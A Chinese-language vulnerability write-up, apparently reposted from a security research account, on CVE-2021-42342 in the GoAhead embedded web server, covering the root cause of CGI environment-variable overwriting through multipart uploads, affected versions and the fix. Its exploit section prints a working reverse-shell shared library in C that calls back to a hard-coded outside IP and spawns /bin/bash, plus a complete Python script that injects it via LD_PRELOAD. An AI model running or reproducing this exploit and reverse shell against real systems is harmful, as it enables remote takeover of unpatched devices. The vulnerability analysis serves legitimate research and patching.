CVE-2021-42342-GoAhead远程代码执行

admin 2024年12月17日14:07:31评论27 views字数 3724阅读12分24秒阅读模式

漏洞背景

CVE-2021-42342-GoAhead远程代码执行

        GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web Server。GoAhead Web Server是为嵌入式实时操作系统(RTOS)量身定制的Web服务器。

漏洞信息

CVE-2021-42342-GoAhead远程代码执行

        文件上传过滤器存在安全漏洞,用户表单变量可以传递给 CGI 脚本,而无需使用 CGI 前缀作为前缀。表单变量作为环境变量传递,导致环境变量被覆盖,造成 RCE 。

受影响版本:

  • 5.x<=GoAhead<5.1.5

  • GoAhead =4.x

CVE 信息:

  • https://github.com/embedthis/goahead/issues/305

漏洞详情

CVE-2021-42342-GoAhead远程代码执行

        Post 请求中的表单变量使用 ME_GOAHEAD_CGI_VAR_PREFIX 作为前缀,该前缀通常设置为 CGI_ 。但是上传过滤器没有设置不受信任的 var 位,因此 CGI 处理程序不使用前缀,导致环境被覆盖。

具体代码在 cgi.c :

CVE-2021-42342-GoAhead远程代码执行

ME_GOAHEAD_CGI_VAR_PREFIX 是 cgi 前缀配置。s->arg 为 1 是标记为不受信任的关键字,会在上图位置加入 cgi 前缀。检索源码中标记 sp-arg = 1 的代码:

CVE-2021-42342-GoAhead远程代码执行

CVE-2021-42342-GoAhead远程代码执行

        在 addFormVars 这个函数调用,函数处理完成后会将标志位置为 1 ,后续就会进行加前缀。addFormVars 在两处地方存在调用,分别在 websSetQueryVars 和  websSetFormVarsCVE-2021-42342-GoAhead远程代码执行

websSetQueryVars 和  websSetFormVars 在 websRunRequest 被调用:CVE-2021-42342-GoAhead远程代码执行

websRunRequest 被 websPump 调用,每个 http 请求由 readEvent 调用 websPump 进行处理,在 parseHeaders 对 http 请求的 contentType 进行处理:

CVE-2021-42342-GoAhead远程代码执行

将 contentType 设置成 multipart/form-data ,wp->flags 就是上传模式,不会调用到 sp-arg = 1

利用触发与之前爆出的 CVE-2017-17562 一样。

EXP

CVE-2021-42342-GoAhead远程代码执行

Vulhub 已经有复现环境:vulhub/goahead:5.1.4

利用方法大概是将反弹 shell 编译成动态库,利用 LD_PRELOAD 将运行环境强行修改动态库,以此运行恶意代码。

反弹 shell 动态库:

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="120.24.72.234";
uint32_t server_port=7777;

static void reverse_shell(void__attribute__((constructor));
static void reverse_shell(void
{
 int sock = socket(AF_INETSOCK_STREAM0);
 struct sockaddr_in attacker_addr = {0};
 attacker_addr.sin_family = AF_INET;
 attacker_addr.sin_port = htons(server_port);
 attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
 if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
   exit(0);
 dup2(sock0);
 dup2(sock1);
 dup2(sock2);
 execve("/bin/bash"00);
}

编译指令:gcc exp.c -fPIC -shared -o exp.so -nostartfile

数据包构造脚本:

import sys
import socket
import ssl
import random
from urllib.parse import urlparseParseResult

PAYLOAD_MAX_LENGTH = 16384 - 200


def exploit(clientpartsParseResultpayloadbytes):
   path = '/' if not parts.path else parts.path
   boundary = '----%s' % str(random.randint(10000000000009999999999999))
   padding = 'a' * 2000
   content_length = min(len(payload+ 500PAYLOAD_MAX_LENGTH)
   data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}

--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";

/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="exp.so"
Content-Type: text/plain

#payload#{padding}
--{boundary}--
'''.replace('n''rn')
   data = data.encode().replace(b'#payload#'payload)
   client.send(data)
   resp = client.recv(20480)
   print(resp.decode())


def main():
   target = sys.argv[1]
   payload_filename = sys.argv[2]

   with open(payload_filename'rb'as f:
       data = f.read()

   if len(data> PAYLOAD_MAX_LENGTH:
       raise Exception('payload size must not larger than %d'PAYLOAD_MAX_LENGTH)

   parts = urlparse(target)
   port = parts.port
   if not parts.port:
       if parts.scheme == 'https':
           port = 443
       else:
           port = 80

   context = ssl.create_default_context()
   with socket.create_connection((parts.hostnameport), timeout=8as client:
       if parts.scheme == 'https':
           with context.wrap_socket(clientserver_hostname=parts.hostnameas ssock:
               exploit(ssockpartsdata)

       else:
           exploit(clientpartsdata)


if __name__ == '__main__':
   main()

修复方案

CVE-2021-42342-GoAhead远程代码执行

更新至 goahead 5.1.5 版本。具体在 upload.c 将不信任标志位置 1 :

CVE-2021-42342-GoAhead远程代码执行

参考

CVE-2021-42342-GoAhead远程代码执行

https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg

https://paper.seebug.org/1808

https://github.com/kimusan/goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342-

https://github.com/vulhub/vulhub/tree/54e1b989f53de31d3ea1d3f711f2284917c625c0/goahead/CVE-2021-42342

CVE-2021-42342-GoAhead远程代码执行

原文始发于微信公众号(山石网科安全技术研究院):CVE-2021-42342-GoAhead远程代码执行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月17日14:07:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-42342-GoAhead远程代码执行https://cn-sec.com/archives/737500.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息